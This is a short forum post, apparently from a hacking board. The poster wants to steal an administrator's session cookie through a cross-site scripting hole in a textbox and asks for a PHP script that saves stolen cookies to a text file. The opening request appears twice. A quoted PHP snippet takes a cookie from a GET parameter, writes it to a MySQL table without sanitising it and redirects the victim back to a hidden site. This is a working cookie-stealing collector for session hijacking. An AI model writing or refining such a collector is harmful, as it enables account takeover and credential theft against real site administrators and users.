Alright, so im trying to get the admin cookie.
I found an vulnerable textbox to XSS.
I made a php script hosted on a website, but i dont realy know php well, and i need help, im trying to make it save the cookie in a simple txt files, but every script i found is putting the cookie into an sql db, which i never started to learn.
What would be the script to write?
I found an vulnerable textbox to XSS.
I made a php script hosted on a website, but i dont realy know php well, and i need help, im trying to make it save the cookie in a simple txt files, but every script i found is putting the cookie into an sql db, which i never started to learn.
What would be the script to write?
Quote:<?php
//Conect to database
$con = mysql_connect(servername,username,password);
mysql_select_db("my_db", $con);
//Insert cookie values at database
mysql_query("INSERT INTO table_name (cookieuser,...)
VALUES ('".$_GET['cuser']."',....)");
//Go back where we were
echo '<script>document.location = "NOT GIVING YOU THIS WEBSITE"</script>';
?>
